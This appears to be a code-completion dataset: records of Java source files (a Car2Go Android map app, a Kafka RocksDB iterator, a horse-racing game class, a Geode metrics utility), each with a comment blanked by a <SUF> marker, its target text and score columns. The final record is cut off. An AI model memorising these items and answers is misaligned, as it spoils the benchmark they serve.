OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } // private void createMarkerParkingSlots(Coordinate coordinate) { // // int lat = (int) (coordinate.getLatitude() * 1E6); // int lng = (int) (coordinate.getLongitude() * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } // private void createMarker() { // // int lat = (int) (48.7687 * 1E6); // int lng = (int) (9.18293 * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } public void locateUser(View view) { mapController.animateTo(userlocation); } // private List<Vehicle> getAllFreeVehicle(String location, String authorization,int range, Coordinate coordinate) { // // List<Vehicle> freeVehicle = endpoint.getAllFreeVehiclesInRange(location, authorization, range, coordinate); // // for (int i = 0; i < freeVehicle.size(); i++) { // System.out.println("lat. " + freeVehicle.get(i).getPosition().getLatitude() // + "lon: " + freeVehicle.get(i).getPosition().getLongitude()); // createMarkerCars(freeVehicle.get(i).getPosition().getLatitude(), freeVehicle.get(i).getPosition().getLongitude()); // // } // // return freeVehicle; // // } // private List<ParkingSpot> getAllParkingSpots(String location, String authorization) { // List<ParkingSpot> allParkingSpots = endpoint.getAllParkingSpots(location, authorization); // // for (int i = 0; i < allParkingSpots.size(); i++) { // createMarkerParkingSlots(allParkingSpots.get(i).getCoordinate()); // } // // return allParkingSpots; // } // private List<GasStation> getAllGasStations(String location, String authorization) { // List<GasStation> allGasStations = endpoint.getAllPGasStations(location, authorization); // // for (int i = 0; i < allGasStations.size(); i++) { // createMarkerGasStations(allGasStations.get(i).getCoordinate()); // } // // return allGasStations; // } public boolean onTouch(View v, MotionEvent event) { // TODO Auto-generated method stub int action = event.getAction(); if (action == MotionEvent.ACTION_DOWN) { Log.d(Car2Go.class.getCanonicalName(), "TAPPPPPPP"); } return true; } }
Hft-Stuttgart-ILP/car2goil2k2
src/de/age/car2goil2k2/Car2Go.java
2,982
// int lat = (int) (coordinate.getLatitude() * 1E6);
line_comment
nl
package de.age.car2goil2k2; import java.util.List; import c2G.mobile.api.communication.Endpoint; import c2G.mobile.api.objekts.Coordinate; import c2G.mobile.api.objekts.GasStation; import c2G.mobile.api.objekts.ParkingSpot; import c2G.mobile.api.objekts.Vehicle; import com.google.android.maps.GeoPoint; import com.google.android.maps.MapActivity; import com.google.android.maps.MapController; import com.google.android.maps.MapView; import com.google.android.maps.MyLocationOverlay; import com.google.android.maps.OverlayItem; import de.gui.c2g.R; import android.content.Context; import android.graphics.drawable.Drawable; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.os.Bundle; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.View.OnTouchListener; public class Car2Go extends MapActivity implements OnTouchListener { private MapController mapController; private MapView mapView; private LocationManager locationManager; private MyOverlays itemizedoverlaydot, itemizedOverlayCar, itemizedOverlayParkingSlot, itemizedOverlayGasStation; private MyLocationOverlay myLocationOverlay; private GeoPoint userlocation; private Endpoint endpoint; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.googlemapmain); // Configure the Map mapView = (MapView) findViewById(R.id.mapview); mapView.setBuiltInZoomControls(true); mapView.setSatellite(false); mapController = mapView.getController(); mapController.setZoom(14); // Zoon 1 is world view mapController.setCenter(new GeoPoint((int) (48.400833 * 1E6), (int) (9.987222* 1E6))); locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 6000, 0, new GeoUpdateHandler()); myLocationOverlay = new MyLocationOverlay(this, mapView); mapView.getOverlays().add(myLocationOverlay); // myLocationOverlay.runOnFirstFix(new Runnable() { // public void run() { // mapView.getController().animateTo(myLocationOverlay.getMyLocation()); // } // }); Drawable drawabledot = this.getResources().getDrawable(R.drawable.reddot); Drawable drawableCar = this.getResources().getDrawable(R.drawable.car2go_icon_org_klein); // Drawable drawableParkingSlot = null; // Drawable drawableGasStation = null; itemizedoverlaydot = new MyOverlays(drawabledot,this); itemizedOverlayCar = new MyOverlays(drawableCar,this); endpoint = new Endpoint(); // itemizedOverlayGasStation = new MyOverlays(drawableGasStation); // itemizedOverlayParkingSlot = new MyOverlays(drawableParkingSlot); // getAllFreeVehicle("ulm", "AdrianMarsch", 1, new Coordinate(48.400833, 9.987222)); createMarkerCars(endpoint.getAllFreeVehiclesInRange("ulm", "AdrianMarsch", 1, new Coordinate(48.400833, 9.987222))); // getAllGasStations("ulm", "AdrianMarsch"); // getAllParkingSpots("ulm", "AdrianMarsch"); } @Override protected boolean isRouteDisplayed() { // TODO Auto-generated method stub return false; } public class GeoUpdateHandler implements LocationListener { public void onLocationChanged(Location location) { // int lat = (int) (location.getLatitude() * 1E6); // int lng = (int) (location.getLongitude() * 1E6); int lat = (int) (48.400833 * 1E6); int lng = (int) (9.987222 * 1E6); GeoPoint point = new GeoPoint(lat, lng); // createMarker(); // mapController.animateTo(point); // mapController.setCenter(point); userlocation = point; OverlayItem overlayitem = new OverlayItem(point, "", ""); itemizedoverlaydot.adOverlay(overlayitem); mapView.getOverlays().add(itemizedoverlaydot); } public void onProviderDisabled(String provider) { } public void onProviderEnabled(String provider) { } public void onStatusChanged(String provider, int status, Bundle extras) { } } // private void createMarkerCars(double latitude, double longitude) { // // int lat = (int) (latitude * 1E6); // int lng = (int) (longitude * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } private void createMarkerCars(List<Vehicle> freeVehicle) { for (int i = 0; i < freeVehicle.size(); i++) { System.out.println("lat. " + freeVehicle.get(i).getPosition().getLatitude() + "lon: " + freeVehicle.get(i).getPosition().getLongitude()); // createMarkerCars(freeVehicle.get(i).getPosition().getLatitude(), freeVehicle.get(i).getPosition().getLongitude()); int lat = (int) (freeVehicle.get(i).getPosition().getLatitude() * 1E6); int lng = (int) (freeVehicle.get(i).getPosition().getLongitude() * 1E6); GeoPoint p = new GeoPoint(lat, lng); OverlayItem overlayitem = new OverlayItem(p, freeVehicle.get(i).getPlate(), freeVehicle.get(i).getFuel()); itemizedOverlayCar.adOverlay(overlayitem); if (itemizedOverlayCar.size() > 0) { mapView.getOverlays().add(itemizedOverlayCar); } } } // private void createMarkerGasStations(Coordinate coordinate) { // // int lat = (int) (coordinate.getLatitude() * 1E6); // int lng = (int) (coordinate.getLongitude() * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } // private void createMarkerParkingSlots(Coordinate coordinate) { // // int lat<SUF> // int lng = (int) (coordinate.getLongitude() * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } // private void createMarker() { // // int lat = (int) (48.7687 * 1E6); // int lng = (int) (9.18293 * 1E6); // GeoPoint p = new GeoPoint(lat, lng); // OverlayItem overlayitem = new OverlayItem(p, "", ""); // itemizedOverlayCar.adOverlay(overlayitem); // if (itemizedOverlayCar.size() > 0) { // mapView.getOverlays().add(itemizedOverlayCar); // } // } public void locateUser(View view) { mapController.animateTo(userlocation); } // private List<Vehicle> getAllFreeVehicle(String location, String authorization,int range, Coordinate coordinate) { // // List<Vehicle> freeVehicle = endpoint.getAllFreeVehiclesInRange(location, authorization, range, coordinate); // // for (int i = 0; i < freeVehicle.size(); i++) { // System.out.println("lat. " + freeVehicle.get(i).getPosition().getLatitude() // + "lon: " + freeVehicle.get(i).getPosition().getLongitude()); // createMarkerCars(freeVehicle.get(i).getPosition().getLatitude(), freeVehicle.get(i).getPosition().getLongitude()); // // } // // return freeVehicle; // // } // private List<ParkingSpot> getAllParkingSpots(String location, String authorization) { // List<ParkingSpot> allParkingSpots = endpoint.getAllParkingSpots(location, authorization); // // for (int i = 0; i < allParkingSpots.size(); i++) { // createMarkerParkingSlots(allParkingSpots.get(i).getCoordinate()); // } // // return allParkingSpots; // } // private List<GasStation> getAllGasStations(String location, String authorization) { // List<GasStation> allGasStations = endpoint.getAllPGasStations(location, authorization); // // for (int i = 0; i < allGasStations.size(); i++) { // createMarkerGasStations(allGasStations.get(i).getCoordinate()); // } // // return allGasStations; // } public boolean onTouch(View v, MotionEvent event) { // TODO Auto-generated method stub int action = event.getAction(); if (action == MotionEvent.ACTION_DOWN) { Log.d(Car2Go.class.getCanonicalName(), "TAPPPPPPP"); } return true; } }
False
2,231
18
2,704
21
2,627
19
2,704
21
3,224
22
false
false
false
false
false
true
2,093
13041_4
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.kafka.streams.state.internals; import org.apache.kafka.common.utils.Bytes; import org.apache.kafka.streams.KeyValue; import org.rocksdb.RocksIterator; import java.util.Comparator; class RocksDBRangeIterator extends RocksDbIterator { // RocksDB's JNI interface does not expose getters/setters that allow the // comparator to be pluggable, and the default is lexicographic, so it's // safe to just force lexicographic comparator here for now. private final Comparator<byte[]> comparator = Bytes.BYTES_LEXICO_COMPARATOR; private final byte[] rawLastKey; private final boolean forward; private final boolean toInclusive; RocksDBRangeIterator(final String storeName, final RocksIterator iter, final Bytes from, final Bytes to, final boolean forward, final boolean toInclusive) { super(storeName, iter, forward); this.forward = forward; this.toInclusive = toInclusive; if (forward) { if (from == null) { iter.seekToFirst(); } else { iter.seek(from.get()); } rawLastKey = to == null ? null : to.get(); } else { if (to == null) { iter.seekToLast(); } else { iter.seekForPrev(to.get()); } rawLastKey = from == null ? null : from.get(); } } @Override protected KeyValue<Bytes, byte[]> makeNext() { final KeyValue<Bytes, byte[]> next = super.makeNext(); if (next == null) { return allDone(); } else if (rawLastKey == null) { //null means range endpoint is open return next; } else { if (forward) { if (comparator.compare(next.key.get(), rawLastKey) < 0) { return next; } else if (comparator.compare(next.key.get(), rawLastKey) == 0) { return toInclusive ? next : allDone(); } else { return allDone(); } } else { if (comparator.compare(next.key.get(), rawLastKey) >= 0) { return next; } else { return allDone(); } } } } }
apache/kafka
streams/src/main/java/org/apache/kafka/streams/state/internals/RocksDBRangeIterator.java
846
//null means range endpoint is open
line_comment
nl
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.kafka.streams.state.internals; import org.apache.kafka.common.utils.Bytes; import org.apache.kafka.streams.KeyValue; import org.rocksdb.RocksIterator; import java.util.Comparator; class RocksDBRangeIterator extends RocksDbIterator { // RocksDB's JNI interface does not expose getters/setters that allow the // comparator to be pluggable, and the default is lexicographic, so it's // safe to just force lexicographic comparator here for now. private final Comparator<byte[]> comparator = Bytes.BYTES_LEXICO_COMPARATOR; private final byte[] rawLastKey; private final boolean forward; private final boolean toInclusive; RocksDBRangeIterator(final String storeName, final RocksIterator iter, final Bytes from, final Bytes to, final boolean forward, final boolean toInclusive) { super(storeName, iter, forward); this.forward = forward; this.toInclusive = toInclusive; if (forward) { if (from == null) { iter.seekToFirst(); } else { iter.seek(from.get()); } rawLastKey = to == null ? null : to.get(); } else { if (to == null) { iter.seekToLast(); } else { iter.seekForPrev(to.get()); } rawLastKey = from == null ? null : from.get(); } } @Override protected KeyValue<Bytes, byte[]> makeNext() { final KeyValue<Bytes, byte[]> next = super.makeNext(); if (next == null) { return allDone(); } else if (rawLastKey == null) { //null means<SUF> return next; } else { if (forward) { if (comparator.compare(next.key.get(), rawLastKey) < 0) { return next; } else if (comparator.compare(next.key.get(), rawLastKey) == 0) { return toInclusive ? next : allDone(); } else { return allDone(); } } else { if (comparator.compare(next.key.get(), rawLastKey) >= 0) { return next; } else { return allDone(); } } } } }
False
660
7
718
7
766
7
718
7
865
7
false
false
false
false
false
true
2,134
70160_8
package model.states.horserace; import model.Model; import model.characters.GameCharacter;; import model.classes.Skill; import model.horses.Horse; import view.sprites.RidingSprite; import view.sprites.Sprite; import view.subviews.HorseRacingSubView; import java.util.List; import java.awt.*; public class HorseRacer { private final int jumpCooldownMax; private final GameCharacter character; private final int jumpLength; private final HorseRacingSubView subView; private Point position; private int positionShift = 0; private int currentSpeed = 0; private int accelStep = 0; private int laneChangeCooldown = 0; private int jumpCounter = 0; private int lap = 1; private final RidingSprite gallopSprite; private final RidingSprite trotSprite; private final int changeDelay; private int strafeShift = 0; private int jumpCooldown = 0; public HorseRacer(int xStart, GameCharacter chara, Horse horse, HorseRacingSubView subView) { position = new Point(xStart, 0); this.character = chara; trotSprite = new RidingSprite(chara, horse, 0); gallopSprite = new RidingSprite(chara, horse, 1); this.subView = subView; this.changeDelay = 25 - chara.getRankForSkill(Skill.Survival) * 2; this.jumpLength = 8 + chara.getRankForSkill(Skill.Survival); this.jumpCooldownMax = 22 - chara.getRankForSkill(Skill.Survival) * 2; //gallopSprite.setDelay(8); } public void drawHorse(Model model, int horseVerticalPosition, int shiftDiff) { RidingSprite spriteToUse = trotSprite; int yshift = 0; if (jumpCounter > 0) { spriteToUse = gallopSprite; spriteToUse.synch(); int jumpHeight = (int)(3.0 * (jumpLength/2 - Math.abs(jumpLength/2 - jumpCounter))); yshift = -jumpHeight; } else { if (currentSpeed > 2) { spriteToUse = gallopSprite; } if (currentSpeed == 0) { spriteToUse.synch(); } else if (currentSpeed == 2 || currentSpeed == 4) { spriteToUse.setDelay(12); } else if (currentSpeed > 4) { spriteToUse.setDelay(20 - currentSpeed * 2); } } model.getScreenHandler().register(gallopSprite.getName(), HorseRacingSubView.convertToScreen(position.x, horseVerticalPosition), spriteToUse, 1, strafeShift, yshift + shiftDiff); Sprite effectSprite = getCurrentTerrain().getEffectSprite(); if (effectSprite != null && jumpCounter == 0) { Point effectPos = HorseRacingSubView.convertToScreen(position.x, horseVerticalPosition + 1); model.getScreenHandler().register(effectSprite.getName(), effectPos, effectSprite, 2, strafeShift, shiftDiff); } } private TrackTerrain getCurrentTerrain() { return subView.getTrack().getTerrain(position, positionShift); } public int getCurrentSpeed() { return currentSpeed; } public Point getPosition() { return position; } public int getYShift() { return positionShift; } public void updateYourself(List<HorseRacer> allRacers) { //int totalPos = position.y * 100 + positionShift; move(); accelerate(); laneChangeCooldown = Math.max(0, laneChangeCooldown-1); jumpCounter = Math.max(0, jumpCounter-1); if (!inTheAir()) { jumpCooldown = Math.max(0, jumpCooldown-1); } applyTerrain(); for (HorseRacer npc : allRacers) { if (npc.getPosition().x == position.x && npc.getPosition().y == position.y && npc != this) { currentSpeed = 0; accelStep = 0; } } // if (totalPos == position.y * 100 + positionShift) { // System.out.println(this.character.getName() + " has not moved! Position=" + // position.y + ", shift=" + positionShift + ", speed=" + currentSpeed + // ", jumpcounter=" + jumpCounter + // ", jumpcooldown=" + jumpCooldown + ", accel step=" + accelStep + // ", lanechangecooldown=" + laneChangeCooldown + ", changedelay=" + changeDelay + // ", strafeshift=" + strafeShift + // ", terraint=" + getCurrentTerrain().getName()); // } } private void move() { positionShift += currentSpeed; while (positionShift >= 32) { positionShift -= 32; position.y = position.y + 1; if (position.y == HorseRaceTrack.TRACK_LENGTH) { position.y = 0; lap++; } } } private void accelerate() { if (jumpCounter == 0) { accelStep++; } if (accelStep > getAccelerationDelay()) { accelStep = 0; currentSpeed = Math.min(currentSpeed + 1, 8); } } protected int getAccelerationDelay() { if (currentSpeed == 0) { return 15; } return 32 - character.getRankForSkill(Skill.Survival); } protected void applyTerrain() { TrackTerrain currentTerrain = getCurrentTerrain(); int maxSpeed = currentTerrain.getMaximumSpeed(this); if (currentSpeed > maxSpeed) { boolean blockingObstacle = maxSpeed == 0 && !currentTerrain.canBeEntered(); if (!blockingObstacle && maxSpeed < 3) { autoJump(); } if (blockingObstacle || !inTheAir()) { currentSpeed = currentTerrain.getMaximumSpeed(this); accelStep = 0; jumpCounter = 0; } } } protected void autoJump() { } private boolean inTheAir() { return jumpCounter > 0; } public void possiblyMoveLeft(List<HorseRacer> allRacers) { int newX = Math.max(0, position.x - 1); if (canEnter(newX, allRacers) && strafeShift == 0) { changeLanes(newX); strafeShift = 28; } } public void possiblyMoveRight(List<HorseRacer> allRacers) { int newX = Math.min(HorseRaceTrack.TRACK_WIDTH-1, position.x + 1); if (canEnter(newX, allRacers) && strafeShift == 0) { changeLanes(newX); strafeShift = -28; } } private void changeLanes(int newX) { position.x = newX; if (laneChangeCooldown > 0) { currentSpeed = Math.max(1, currentSpeed - 1); accelStep = 0; } else { currentSpeed = Math.max(1, currentSpeed); } laneChangeCooldown = changeDelay; } private boolean canEnter(int newX, List<HorseRacer> allRacers) { for (HorseRacer npc : allRacers) { if (npc.getPosition().x == newX && npc.getPosition().y == position.y) { return false; } } return jumpCounter == 0 && subView.getTrack().getTerrain(new Point(newX, position.y), positionShift).canBeEntered(); } public void possiblyJump() { if (jumpCounter == 0 && jumpCooldown == 0) { jumpCounter = jumpLength; jumpCooldown = jumpCooldownMax; if (getCurrentTerrain().getMaximumSpeed(this) == 0 && getCurrentTerrain().canBeEntered()) { positionShift += 5; // Jump over a log. currentSpeed = 1; jumpCounter = jumpLength / 2 + 2; } } } public GameCharacter getCharacter() { return character; } public void setSpeed(int i) { this.currentSpeed = i; } protected HorseRaceTrack getHorseRaceTrack() { return subView.getTrack(); } protected int getLaneChangeCooldown() { return laneChangeCooldown; } public int getLap() { return lap; } public void updateStrafeAnimation() { if (strafeShift > 0) { strafeShift -= 2; } else if (strafeShift < 0) { strafeShift += 2; } } }
arnesven/FatefulEight2
src/model/states/horserace/HorseRacer.java
2,578
// ", terraint=" + getCurrentTerrain().getName());
line_comment
nl
package model.states.horserace; import model.Model; import model.characters.GameCharacter;; import model.classes.Skill; import model.horses.Horse; import view.sprites.RidingSprite; import view.sprites.Sprite; import view.subviews.HorseRacingSubView; import java.util.List; import java.awt.*; public class HorseRacer { private final int jumpCooldownMax; private final GameCharacter character; private final int jumpLength; private final HorseRacingSubView subView; private Point position; private int positionShift = 0; private int currentSpeed = 0; private int accelStep = 0; private int laneChangeCooldown = 0; private int jumpCounter = 0; private int lap = 1; private final RidingSprite gallopSprite; private final RidingSprite trotSprite; private final int changeDelay; private int strafeShift = 0; private int jumpCooldown = 0; public HorseRacer(int xStart, GameCharacter chara, Horse horse, HorseRacingSubView subView) { position = new Point(xStart, 0); this.character = chara; trotSprite = new RidingSprite(chara, horse, 0); gallopSprite = new RidingSprite(chara, horse, 1); this.subView = subView; this.changeDelay = 25 - chara.getRankForSkill(Skill.Survival) * 2; this.jumpLength = 8 + chara.getRankForSkill(Skill.Survival); this.jumpCooldownMax = 22 - chara.getRankForSkill(Skill.Survival) * 2; //gallopSprite.setDelay(8); } public void drawHorse(Model model, int horseVerticalPosition, int shiftDiff) { RidingSprite spriteToUse = trotSprite; int yshift = 0; if (jumpCounter > 0) { spriteToUse = gallopSprite; spriteToUse.synch(); int jumpHeight = (int)(3.0 * (jumpLength/2 - Math.abs(jumpLength/2 - jumpCounter))); yshift = -jumpHeight; } else { if (currentSpeed > 2) { spriteToUse = gallopSprite; } if (currentSpeed == 0) { spriteToUse.synch(); } else if (currentSpeed == 2 || currentSpeed == 4) { spriteToUse.setDelay(12); } else if (currentSpeed > 4) { spriteToUse.setDelay(20 - currentSpeed * 2); } } model.getScreenHandler().register(gallopSprite.getName(), HorseRacingSubView.convertToScreen(position.x, horseVerticalPosition), spriteToUse, 1, strafeShift, yshift + shiftDiff); Sprite effectSprite = getCurrentTerrain().getEffectSprite(); if (effectSprite != null && jumpCounter == 0) { Point effectPos = HorseRacingSubView.convertToScreen(position.x, horseVerticalPosition + 1); model.getScreenHandler().register(effectSprite.getName(), effectPos, effectSprite, 2, strafeShift, shiftDiff); } } private TrackTerrain getCurrentTerrain() { return subView.getTrack().getTerrain(position, positionShift); } public int getCurrentSpeed() { return currentSpeed; } public Point getPosition() { return position; } public int getYShift() { return positionShift; } public void updateYourself(List<HorseRacer> allRacers) { //int totalPos = position.y * 100 + positionShift; move(); accelerate(); laneChangeCooldown = Math.max(0, laneChangeCooldown-1); jumpCounter = Math.max(0, jumpCounter-1); if (!inTheAir()) { jumpCooldown = Math.max(0, jumpCooldown-1); } applyTerrain(); for (HorseRacer npc : allRacers) { if (npc.getPosition().x == position.x && npc.getPosition().y == position.y && npc != this) { currentSpeed = 0; accelStep = 0; } } // if (totalPos == position.y * 100 + positionShift) { // System.out.println(this.character.getName() + " has not moved! Position=" + // position.y + ", shift=" + positionShift + ", speed=" + currentSpeed + // ", jumpcounter=" + jumpCounter + // ", jumpcooldown=" + jumpCooldown + ", accel step=" + accelStep + // ", lanechangecooldown=" + laneChangeCooldown + ", changedelay=" + changeDelay + // ", strafeshift=" + strafeShift + // ", terraint="<SUF> // } } private void move() { positionShift += currentSpeed; while (positionShift >= 32) { positionShift -= 32; position.y = position.y + 1; if (position.y == HorseRaceTrack.TRACK_LENGTH) { position.y = 0; lap++; } } } private void accelerate() { if (jumpCounter == 0) { accelStep++; } if (accelStep > getAccelerationDelay()) { accelStep = 0; currentSpeed = Math.min(currentSpeed + 1, 8); } } protected int getAccelerationDelay() { if (currentSpeed == 0) { return 15; } return 32 - character.getRankForSkill(Skill.Survival); } protected void applyTerrain() { TrackTerrain currentTerrain = getCurrentTerrain(); int maxSpeed = currentTerrain.getMaximumSpeed(this); if (currentSpeed > maxSpeed) { boolean blockingObstacle = maxSpeed == 0 && !currentTerrain.canBeEntered(); if (!blockingObstacle && maxSpeed < 3) { autoJump(); } if (blockingObstacle || !inTheAir()) { currentSpeed = currentTerrain.getMaximumSpeed(this); accelStep = 0; jumpCounter = 0; } } } protected void autoJump() { } private boolean inTheAir() { return jumpCounter > 0; } public void possiblyMoveLeft(List<HorseRacer> allRacers) { int newX = Math.max(0, position.x - 1); if (canEnter(newX, allRacers) && strafeShift == 0) { changeLanes(newX); strafeShift = 28; } } public void possiblyMoveRight(List<HorseRacer> allRacers) { int newX = Math.min(HorseRaceTrack.TRACK_WIDTH-1, position.x + 1); if (canEnter(newX, allRacers) && strafeShift == 0) { changeLanes(newX); strafeShift = -28; } } private void changeLanes(int newX) { position.x = newX; if (laneChangeCooldown > 0) { currentSpeed = Math.max(1, currentSpeed - 1); accelStep = 0; } else { currentSpeed = Math.max(1, currentSpeed); } laneChangeCooldown = changeDelay; } private boolean canEnter(int newX, List<HorseRacer> allRacers) { for (HorseRacer npc : allRacers) { if (npc.getPosition().x == newX && npc.getPosition().y == position.y) { return false; } } return jumpCounter == 0 && subView.getTrack().getTerrain(new Point(newX, position.y), positionShift).canBeEntered(); } public void possiblyJump() { if (jumpCounter == 0 && jumpCooldown == 0) { jumpCounter = jumpLength; jumpCooldown = jumpCooldownMax; if (getCurrentTerrain().getMaximumSpeed(this) == 0 && getCurrentTerrain().canBeEntered()) { positionShift += 5; // Jump over a log. currentSpeed = 1; jumpCounter = jumpLength / 2 + 2; } } } public GameCharacter getCharacter() { return character; } public void setSpeed(int i) { this.currentSpeed = i; } protected HorseRaceTrack getHorseRaceTrack() { return subView.getTrack(); } protected int getLaneChangeCooldown() { return laneChangeCooldown; } public int getLap() { return lap; } public void updateStrafeAnimation() { if (strafeShift > 0) { strafeShift -= 2; } else if (strafeShift < 0) { strafeShift += 2; } } }
False
1,937
12
2,108
13
2,214
12
2,108
13
2,548
16
false
false
false
false
false
true
2,084
158962_2
/* * Licensed to the Apache Software Foundation (ASF) under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional information regarding * copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the License. You may obtain a * copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package org.apache.geode.management.internal.beans; import java.util.concurrent.TimeUnit; import org.apache.geode.annotations.Immutable; /** * This is a utility class to calculate various type of Metrics out of raw stats * * */ public class MetricsCalculator { @Immutable private static final TimeUnit milliSeconds = TimeUnit.MILLISECONDS; private static long toSeconds(long fromTime, long toTime) { return milliSeconds.toSeconds((toTime - fromTime)); } public static float getRate(int Xn, int Xn1, long fromTime, long toTime) { float tempXn = Xn; float tempXn1 = Xn1; long secondsFactor; if (fromTime == 0) { secondsFactor = 0; } else { secondsFactor = toSeconds(fromTime, toTime); } float num = (tempXn1 - tempXn) / ((secondsFactor == 0) ? 1 : secondsFactor); return Round(num, 3); // return num; } public static float getRate(long Xn, long Xn1, long fromTime, long toTime) { float tempXn = Xn; float tempXn1 = Xn1; long secondsFactor; if (fromTime == 0) { secondsFactor = 0; } else { secondsFactor = toSeconds(fromTime, toTime); } float num = (tempXn1 - tempXn) / ((secondsFactor == 0) ? 1 : secondsFactor); return Round(num, 3); // return num; } public static long getLatency(int Xn, int Xn1, long XNTime, long XN1Time) { if ((Xn1 - Xn) != 0) { return (XN1Time - XNTime) / (Xn1 - Xn); } return 0; } public static long getLatency(long Xn, long Xn1, long XNTime, long XN1Time) { if ((Xn1 - Xn) != 0) { return (XN1Time - XNTime) / (Xn1 - Xn); } return 0; } public static long getAverageLatency(int Xn, long XNTime) { if (Xn != 0 && XNTime != 0) { return XNTime / Xn; } return 0; } public static long getAverageLatency(long Xn, long XNTime) { if (Xn != 0 && XNTime != 0) { return XNTime / Xn; } return 0; } // Overloaded getAverage Methods // public static int getAverage(int totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static long getAverage(long totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static float getAverage(float totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static double getAverage(double totalNumber, int size) { if (totalNumber != 0 && size != 0) { return totalNumber / size; } return 0; } public static float Round(float Rval, int Rpl) { float p = (float) Math.pow(10, Rpl); Rval = Rval * p; float tmp = Math.round(Rval); return tmp / p; } }
apache/geode
geode-core/src/main/java/org/apache/geode/management/internal/beans/MetricsCalculator.java
1,213
// Overloaded getAverage Methods //
line_comment
nl
/* * Licensed to the Apache Software Foundation (ASF) under one or more contributor license * agreements. See the NOTICE file distributed with this work for additional information regarding * copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the License. You may obtain a * copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package org.apache.geode.management.internal.beans; import java.util.concurrent.TimeUnit; import org.apache.geode.annotations.Immutable; /** * This is a utility class to calculate various type of Metrics out of raw stats * * */ public class MetricsCalculator { @Immutable private static final TimeUnit milliSeconds = TimeUnit.MILLISECONDS; private static long toSeconds(long fromTime, long toTime) { return milliSeconds.toSeconds((toTime - fromTime)); } public static float getRate(int Xn, int Xn1, long fromTime, long toTime) { float tempXn = Xn; float tempXn1 = Xn1; long secondsFactor; if (fromTime == 0) { secondsFactor = 0; } else { secondsFactor = toSeconds(fromTime, toTime); } float num = (tempXn1 - tempXn) / ((secondsFactor == 0) ? 1 : secondsFactor); return Round(num, 3); // return num; } public static float getRate(long Xn, long Xn1, long fromTime, long toTime) { float tempXn = Xn; float tempXn1 = Xn1; long secondsFactor; if (fromTime == 0) { secondsFactor = 0; } else { secondsFactor = toSeconds(fromTime, toTime); } float num = (tempXn1 - tempXn) / ((secondsFactor == 0) ? 1 : secondsFactor); return Round(num, 3); // return num; } public static long getLatency(int Xn, int Xn1, long XNTime, long XN1Time) { if ((Xn1 - Xn) != 0) { return (XN1Time - XNTime) / (Xn1 - Xn); } return 0; } public static long getLatency(long Xn, long Xn1, long XNTime, long XN1Time) { if ((Xn1 - Xn) != 0) { return (XN1Time - XNTime) / (Xn1 - Xn); } return 0; } public static long getAverageLatency(int Xn, long XNTime) { if (Xn != 0 && XNTime != 0) { return XNTime / Xn; } return 0; } public static long getAverageLatency(long Xn, long XNTime) { if (Xn != 0 && XNTime != 0) { return XNTime / Xn; } return 0; } // Overloaded getAverage<SUF> public static int getAverage(int 